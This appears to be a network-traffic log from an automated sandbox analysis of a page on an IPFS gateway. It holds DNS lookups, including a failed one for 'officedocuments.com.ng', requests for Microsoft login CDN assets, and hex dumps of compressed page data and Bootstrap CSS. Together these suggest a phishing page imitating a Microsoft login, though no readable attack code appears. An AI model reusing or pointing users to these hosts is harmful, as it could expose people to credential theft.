May 24, 2024 00:26:13.816207886 CEST	1.1.1.1	192.168.2.4	0xd6ec	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:13.818065882 CEST	1.1.1.1	192.168.2.4	0x2396	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:26:13.848711014 CEST	1.1.1.1	192.168.2.4	0x6559	No error (0)	shed.dual-low.part-0015.t-0009.t-msedge.net	part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:26:13.848711014 CEST	1.1.1.1	192.168.2.4	0x6559	No error (0)	part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:13.848711014 CEST	1.1.1.1	192.168.2.4	0x6559	No error (0)	part-0015.t-0009.t-msedge.net		13.107.213.43	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:13.999972105 CEST	1.1.1.1	192.168.2.4	0x17e4	Name error (3)	officedocuments.com.ng	none	none	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:14.006608963 CEST	1.1.1.1	192.168.2.4	0x7afe	Name error (3)	officedocuments.com.ng	none	none	65	IN (0x0001)	false
May 24, 2024 00:26:14.260868073 CEST	1.1.1.1	192.168.2.4	0x3177	Name error (3)	officedocuments.com.ng	none	none	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:14.743132114 CEST	1.1.1.1	192.168.2.4	0xacda	No error (0)	shed.dual-low.part-0017.t-0009.t-msedge.net	part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:26:14.743132114 CEST	1.1.1.1	192.168.2.4	0xacda	No error (0)	part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:14.743132114 CEST	1.1.1.1	192.168.2.4	0xacda	No error (0)	part-0017.t-0009.t-msedge.net		13.107.213.45	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:15.412724018 CEST	1.1.1.1	192.168.2.4	0xf969	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 00:26:15.412749052 CEST	1.1.1.1	192.168.2.4	0x6ba3	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:28.781383038 CEST	1.1.1.1	192.168.2.4	0x371a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:26:28.781383038 CEST	1.1.1.1	192.168.2.4	0x371a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:26:42.119424105 CEST	1.1.1.1	192.168.2.4	0x67ea	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:26:42.119424105 CEST	1.1.1.1	192.168.2.4	0x67ea	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:27:04.204490900 CEST	1.1.1.1	192.168.2.4	0x5681	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:27:04.204490900 CEST	1.1.1.1	192.168.2.4	0x5681	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
May 24, 2024 00:27:23.956924915 CEST	1.1.1.1	192.168.2.4	0x4bfc	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:27:23.956924915 CEST	1.1.1.1	192.168.2.4	0x4bfc	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com

cdn.jsdelivr.net

logincdn.msauth.net

fs.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	104.17.64.14	80	2080	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 00:26:12.744721889 CEST	491	OUT	GET / HTTP/1.1 Host: bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 00:26:13.263108969 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:26:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 88887760496642b0-EWR CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 36646 Cache-Control: public, max-age=29030400, immutable ETag: W/"bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu" Vary: Accept-Encoding access-control-allow-headers: Content-Type access-control-allow-headers: Range access-control-allow-headers: User-Agent access-control-allow-headers: X-Requested-With access-control-allow-methods: GET access-control-expose-headers: Content-Length access-control-expose-headers: Content-Range access-control-expose-headers: X-Chunked-Output access-control-expose-headers: X-Ipfs-Path access-control-expose-headers: X-Ipfs-Roots access-control-expose-headers: X-Stream-Output x-cf-ipfs-cache-status: hit x-ipfs-path: /ipfs/bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu/ x-ipfs-roots: bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu Set-Cookie: __cf_bm=muvVP1KphtYtuo_loSEnHNzM4ZtDhTcMpJC6PrnAJV4-1716503173-1.0.1.1-76Om5iivMlEhd7837zD_OOjj5WUN1U4x4S5YtdNd7mG9fjkI87ziDqGeAZzXtWotIQlteB9bVd7G_os3znWElw; path=/; expires=Thu, Data Raw: Data Ascii:
May 24, 2024 00:26:13.263128042 CEST	1236	IN	Data Raw: 33 2d 4d 61 79 2d 32 34 20 32 32 3a 35 36 3a 31 33 20 47 4d 54 3b 20 64 6f 6d 61 69 6e 3d 2e 62 61 66 79 62 65 69 63 79 6f 6f 75 33 71 37 6b 35 62 6d 6c 34 68 78 32 63 71 79 69 37 79 74 6a 37 36 76 63 6b 67 34 68 66 65 75 76 78 62 77 78 68 33 75 Data Ascii: 3-May-24 22:56:13 GMT; domain=.bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com; HttpOnlyServer: cloudflareContent-Encoding: gzipalt-svc: h3=":443"; ma=864003a39L-SHLD&4C7'
May 24, 2024 00:26:13.263374090 CEST	1236	IN	Data Raw: 2e c6 a0 31 2f de f7 9a 92 0f 48 23 0a 33 34 3b ac cb 89 62 e3 08 a3 f3 d8 fc 0d ff d2 34 cf ca f5 97 11 08 0a 45 b9 7d c5 fe 21 26 fa be 24 14 e0 3e 4b 5a 1c ae eb 3e 07 dd f3 c2 6c e2 88 61 db 33 8c 2b 0a 1e c2 2b 3e 66 d1 b6 6d 39 21 4d c7 89 Data Ascii: .1/H#34;b4E}!&$>KZ>la3++>fm9!M0\|g&2:eyor'W* zAM,FDtiBj;k~L?pv85{;>_q"Wb[E/*?t&\3`d2%I7"E
May 24, 2024 00:26:13.263389111 CEST	1236	IN	Data Raw: 79 ba a2 bb b4 a7 21 15 5f a3 62 ea a9 47 94 79 8c 18 20 77 c2 46 8e 0f a5 ec 23 51 e1 cb 0a 9a a8 25 82 1a e0 82 a3 09 50 3b 18 0c 2e 6e 6e d2 f2 e6 2e cf a9 66 1c b6 42 27 74 d5 d8 2d bf e8 07 93 99 09 c5 f8 c3 6b 3a 59 be a5 05 a2 a1 45 1c 7e Data Ascii: y!_bGy wF#Q%P;.nn.fB't-k:YE~Ln{\Fkb*l%O@_;"'XR{qjgHw#mN\ %gnA-9IDa!vrJZu5s0~$<`}EU:OEx43
May 24, 2024 00:26:13.263400078 CEST	1236	IN	Data Raw: 77 45 26 79 13 d2 2b 15 d2 2c 86 79 aa 80 d6 04 c5 47 52 3b e6 f9 cc 9d 2a 29 e0 da 76 ce 55 73 ab d4 c0 57 16 f4 e9 cd 00 2f de 86 c0 78 32 26 6e dd e0 e9 b6 1f 38 c5 b1 71 c2 cb dc f3 66 60 b8 10 dc 9d 0a 31 c0 35 91 a0 99 60 ca f0 24 76 35 22 Data Ascii: wE&y+,yGR;*)vUsW/x2&n8qf`15`$v5"M1D#w&b;\t<,#c_-q5vf^1PR\|4Hb\|7$]oE/k,qaTlKTKq@aSf'5BN#-UE_Nv\_a\|}
May 24, 2024 00:26:13.263556957 CEST	1236	IN	Data Raw: e2 d0 9b 32 c5 1b d0 be c6 7a 0c fd d9 c4 da 7e 4e 79 1f d0 46 fe 68 b3 2e 1f a0 61 87 9f 76 8e 12 c0 37 02 db ac c1 95 65 0f 79 f2 64 8e d2 15 91 a7 e8 4d 57 5d ac d5 d0 ef 2a ac 86 61 78 b7 5d 43 b1 85 22 01 36 ac c9 bc 72 0f 6f 53 89 ee 52 0f Data Ascii: 2z~NyFh.av7eydMW]ax]C"6roSR`%mc]kCIkC]!KD1~5A[S?5G!c)M%{>DC]W2qPQ"7D%w)2f\|;aX'c?o%D0"G.5CC]&P/h
May 24, 2024 00:26:13.263571024 CEST	1236	IN	Data Raw: 47 c6 05 31 19 f7 e4 99 dc 4a 04 a6 b9 9b 80 99 7c 15 a7 86 ef 31 2a a6 55 d3 8e e1 81 a0 93 0c 66 f8 06 6a 34 ae 96 55 5e c3 88 9c 86 e1 c7 5d 6e c4 0a 4c ee 5e 7b 75 0e f0 d2 70 42 e0 89 38 ae 8c 0e e9 1a 6a 11 88 bb fb e8 d1 c7 6d 23 c1 8b 80 Data Ascii: G1J\|1*Ufj4U^]nL^{upB8jm#V9GXuu@dS8NW`?i"nxP@bF#cP7,/p8~H<TX[xIa5.D}h>i)%I7m?.-49E5Z{jQ
May 24, 2024 00:26:13.263582945 CEST	1236	IN	Data Raw: d6 5b 18 05 f7 9a f4 0f c9 43 9d 1f b9 59 5f 16 d6 7e d3 d7 35 02 23 df be 8b f3 6a ca 8a a8 08 a8 5e 76 d4 56 cb f4 f1 c3 58 09 83 14 bd 38 ec 97 86 c0 d8 93 50 d9 1a ab 9a 64 66 53 3d 24 85 34 1c 49 d1 ae 78 dc a0 f3 c3 c3 ca e2 ca 98 7e 5d 88 Data Ascii: [CY_~5#j^vVX8PdfS=$4Ix~],NOcffR/]W8g')9rSdng~\I Ww!P[foK m0f_zypZX:qn(a`l!]pN2I>A(EoiG\
May 24, 2024 00:26:13.263753891 CEST	1236	IN	Data Raw: 7d ce 49 8d 62 d7 07 ca 90 99 df 72 0a 4e 68 fd 76 1f e9 ba 6e 49 29 e5 ad 4f e4 ea a5 19 19 d3 ba fd 55 db 39 40 c0 5d 79 39 01 9f fd f8 1e d9 ec 42 d4 3e 34 1d 30 30 c9 81 9a 84 9d e3 3f a3 99 0d d9 a0 d6 bd b7 e5 ed c5 93 4b 2a a0 96 c8 4e 1f Data Ascii: }IbrNhvnI)OU9@]y9B>400?K*NI?~.@ Cbe)(1$aD1Flj[W04'Ls(c/as&\-;#(AQ.vU6<x779'm .52jAb9-D3x
May 24, 2024 00:26:13.263767958 CEST	1236	IN	Data Raw: 32 01 25 73 5f d0 4b 89 fd 6c 27 36 5d 6b ff 77 10 38 5c a3 80 e6 02 0b a8 53 60 57 da 00 76 7e 33 04 59 58 a5 9d cf ee 34 86 83 51 b7 d3 9d 55 f7 98 93 9d c9 85 5f 5d 8b a4 5f 1b 99 30 1d fb be 32 3f 89 85 15 c6 4a b3 f5 5a 73 d3 04 e8 89 7a 18 Data Ascii: 2%s_Kl'6]kw8\S`Wv~3YX4QU_]_02?JZszFqF"Q/CQsKqX}m2YA5(tc?kgHxtLtt,}Vsd-{>UR*BL().K]\Glv
May 24, 2024 00:26:13.271569967 CEST	1236	IN	Data Raw: 82 6d 10 2c c3 62 5c 61 9d 12 33 7b 76 63 f7 5c cd b0 b8 49 96 72 9f a6 17 af 69 30 e1 f6 b8 05 22 1e 46 75 01 f9 d7 7b 5c 0b 39 28 06 f0 5c 18 a6 73 5c 42 8c c2 1c a1 5f 48 49 6f de 86 71 7a 00 33 08 c5 82 4d 93 d7 eb b3 ce 39 3a 93 05 91 ee 29 Data Ascii: m,b\a3{vc\Iri0"Fu{\9(\s\B_HIoqz3M9:)8\afCGuLO`f38\$Dn0{rh7B`G+!alMT6>#5VSw~t>F23n=Ek9TlSf3d)s/kT-'RmiM#:0CH>
May 24, 2024 00:26:13.807073116 CEST	669	OUT	GET /cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css HTTP/1.1 Host: bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com Connection: keep-alive Origin: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=muvVP1KphtYtuo_loSEnHNzM4ZtDhTcMpJC6PrnAJV4-1716503173-1.0.1.1-76Om5iivMlEhd7837zD_OOjj5WUN1U4x4S5YtdNd7mG9fjkI87ziDqGeAZzXtWotIQlteB9bVd7G_os3znWElw
May 24, 2024 00:26:14.095968962 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 22:26:14 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 88887764ad8842b0-EWR CF-Cache-Status: EXPIRED Access-Control-Allow-Origin: * Cache-Control: no-store Vary: Accept-Encoding access-control-allow-headers: Content-Type access-control-allow-headers: Range access-control-allow-headers: User-Agent access-control-allow-headers: X-Requested-With access-control-allow-methods: GET access-control-expose-headers: Content-Length access-control-expose-headers: Content-Range access-control-expose-headers: X-Chunked-Output access-control-expose-headers: X-Ipfs-Path access-control-expose-headers: X-Ipfs-Roots access-control-expose-headers: X-Stream-Output x-cf-ipfs-cache-status: miss x-content-type-options: nosniff x-ipfs-path: /ipfs/bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu/cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css Server: cloudflare Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 61 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a4 ce 4b 12 82 30 0c 00 d0 bd a7 c8 b8 b7 19 45 65 c6 db f4 93 4a 21 6d 84 50 0a b7 f7 02 ee bc c0 9b 17 6d 62 0a b0 0a 2c a4 c2 1b 01 a6 4f 54 74 36 1e 8e 92 3f 44 6a 37 f7 d3 c3 65 be 0f fb cd cf 47 ea 8f 75 ec 9f 9b 9f de f7 21 52 dd 76 d7 f6 a1 ab ad 9b 79 68 ad a2 0f 65 54 e3 59 6a 88 6c 17 32 5e 32 da d1 ee c8 c9 29 46 29 eb c5 36 52 c9 84 4f 73 35 57 f4 aa 68 99 4d 4e c5 78 d5 17 14 01 4e 65 82 62 33 05 38 ff 12 cf 50 4b a0 05 fe 98 9e be 00 00 00 ff ff 0d 0a 61 0d 0a 03 00 Data Ascii: a5K0EeJ!mPmb,OTt6?Dj7eGu!RvyheTYjl2^2)F)6ROs5WhMNxNeb38PKa

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	151.101.193.229	443	2080	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:26:14 UTC	642	OUT	GET /npm/bootstrap@5.3.0-alpha3/dist/css/bootstrap.min.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://bafybeicyoou3q7k5bml4hx2cqyi7ytj76vckg4hfeuvxbwxh3uw3qlhwwu.ipfs.cf-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:26:14 UTC	770	IN	HTTP/1.1 200 OK Connection: close Content-Length: 232691 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 X-JSD-Version: 5.3.0-alpha3 X-JSD-Version-Type: version ETag: W/"38cf3-SvPX4VpqOAxsurukLprfMwtJ1Y8" Accept-Ranges: bytes Age: 2548009 Date: Thu, 23 May 2024 22:26:14 GMT X-Served-By: cache-fra-eddf8230067-FRA, cache-nyc-kteb1890075-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 20 76 35 2e 33 2e 30 2d 61 6c 70 68 61 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 33 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 2c 5b 64 61 74 61 2d 62 73 2d 74 68 65 6d 65 3d 6c 69 67 68 74 5d 7b 2d 2d 62 73 2d 62 6c 75 65 3a 23 30 64 36 65 66 64 3b 2d 2d 62 73 2d 69 6e 64 Data Ascii: @charset "UTF-8";/! Bootstrap v5.3.0-alpha3 (https://getbootstrap.com/) * Copyright 2011-2023 The Bootstrap Authors * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-ind
2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 61 72 79 2d 62 67 2d 73 75 62 74 6c 65 3a 23 65 32 65 33 65 35 3b 2d 2d 62 73 2d 73 75 63 63 65 73 73 2d 62 67 2d 73 75 62 74 6c 65 3a 23 64 31 65 37 64 64 3b 2d 2d 62 73 2d 69 6e 66 6f 2d 62 67 2d 73 75 62 74 6c 65 3a 23 63 66 66 34 66 63 3b 2d 2d 62 73 2d 77 61 72 6e 69 6e 67 2d 62 67 2d 73 75 62 74 6c 65 3a 23 66 66 66 33 63 64 3b 2d 2d 62 73 2d 64 61 6e 67 65 72 2d 62 67 2d 73 75 62 74 6c 65 3a 23 66 38 64 37 64 61 3b 2d 2d 62 73 2d 6c 69 67 68 74 2d 62 67 2d 73 75 62 74 6c 65 3a 23 66 63 66 63 66 64 3b 2d 2d 62 73 2d 64 61 72 6b 2d 62 67 2d 73 75 62 74 6c 65 3a 23 63 65 64 34 64 61 3b 2d 2d 62 73 2d 70 72 69 6d 61 72 79 2d 62 6f 72 64 65 72 2d 73 75 62 74 6c 65 3a 23 39 65 63 35 66 65 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 72 64 65 72 Data Ascii: ary-bg-subtle:#e2e3e5;--bs-success-bg-subtle:#d1e7dd;--bs-info-bg-subtle:#cff4fc;--bs-warning-bg-subtle:#fff3cd;--bs-danger-bg-subtle:#f8d7da;--bs-light-bg-subtle:#fcfcfd;--bs-dark-bg-subtle:#ced4da;--bs-primary-border-subtle:#9ec5fe;--bs-secondary-border
2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 69 61 72 79 2d 63 6f 6c 6f 72 2d 72 67 62 3a 33 33 2c 33 37 2c 34 31 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 3a 23 66 38 66 39 66 61 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 2d 72 67 62 3a 32 34 38 2c 32 34 39 2c 32 35 30 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 3a 23 30 64 36 65 66 64 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 33 2c 31 31 30 2c 32 35 33 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 3a 23 30 61 35 38 63 61 3b 2d 2d 62 73 2d 6c 69 6e 6b 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 30 2c 38 38 2c 32 30 32 3b 2d 2d 62 73 2d 63 6f 64 65 2d 63 6f 6c 6f 72 3a 23 64 36 33 33 Data Ascii: iary-color-rgb:33,37,41;--bs-tertiary-bg:#f8f9fa;--bs-tertiary-bg-rgb:248,249,250;--bs-link-color:#0d6efd;--bs-link-color-rgb:13,110,253;--bs-link-decoration:underline;--bs-link-hover-color:#0a58ca;--bs-link-hover-color-rgb:10,88,202;--bs-code-color:#d633
2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 38 39 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 67 3a 23 33 34 33 61 34 30 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 67 2d 72 67 62 3a 35 32 2c 35 38 2c 36 34 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 31 37 33 2c 20 31 38 31 2c 20 31 38 39 2c 20 30 2e 35 29 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 63 6f 6c 6f 72 2d 72 67 62 3a 31 37 33 2c 31 38 31 2c 31 38 39 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 3a 23 32 62 33 30 33 35 3b 2d 2d 62 73 2d 74 65 72 74 69 61 72 79 2d 62 67 2d 72 67 62 3a 34 33 2c 34 38 2c 35 33 3b 2d 2d 62 73 2d 70 72 69 6d 61 72 79 2d 74 65 78 74 2d 65 6d 70 68 61 73 69 73 3a 23 36 65 61 38 66 65 3b 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 74 65 78 74 2d 65 6d 70 68 Data Ascii: 89;--bs-secondary-bg:#343a40;--bs-secondary-bg-rgb:52,58,64;--bs-tertiary-color:rgba(173, 181, 189, 0.5);--bs-tertiary-color-rgb:173,181,189;--bs-tertiary-bg:#2b3035;--bs-tertiary-bg-rgb:43,48,53;--bs-primary-text-emphasis:#6ea8fe;--bs-secondary-text-emph
2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 6e 6f 2d 70 72 65 66 65 72 65 6e 63 65 29 7b 3a 72 6f 6f 74 7b 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 73 6d 6f 6f 74 68 7d 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 6c 69 6e 65 2d 68 65 69 67 68 74 29 Data Ascii: ng:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height)
2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 72 65 6d 7d 62 2c 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 65 72 7d 2e 73 6d 61 6c 6c 2c 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 7d 2e 6d 61 72 6b 2c 6d 61 72 6b 7b 70 61 64 64 69 6e 67 3a 2e 31 38 37 35 65 6d 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 73 2d 68 69 Data Ascii: margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}.small,small{font-size:.875em}.mark,mark{padding:.1875em;background-color:var(--bs-hi
2024-05-23 22:26:14 UTC	1378	IN	Data Raw: 6e 68 65 72 69 74 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 7d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 3a 6e 6f 74 28 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 29 7b 6f 75 74 6c 69 6e 65 3a 30 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 Data Ascii: nherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{te
